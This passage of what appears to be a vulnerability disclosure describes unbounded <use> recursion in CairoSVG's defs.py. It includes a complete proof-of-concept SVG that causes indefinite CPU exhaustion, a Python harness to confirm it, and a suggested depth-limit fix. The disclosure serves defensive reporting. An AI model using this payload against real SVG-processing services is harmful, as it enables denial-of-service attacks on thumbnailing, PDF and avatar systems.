This causes CPU exhaustion from a small input.\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB — no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n<?xml version=\"1.0\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <defs>\n    <g id=\"a\"><rect width=\"1\" height=\"1\"/></g>\n    <g id=\"b\"><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/></g>\n    <g id=\"c\"><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/></g>\n    <g id=\"d\"><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/></g>\n    <g id=\"e\"><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/></g>\n  </defs>\n  <use xlink:href=\"#e\"/>\n</svg>\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5)  # Kill after 5 seconds\ntry:\n    cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n    print(\"[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function.
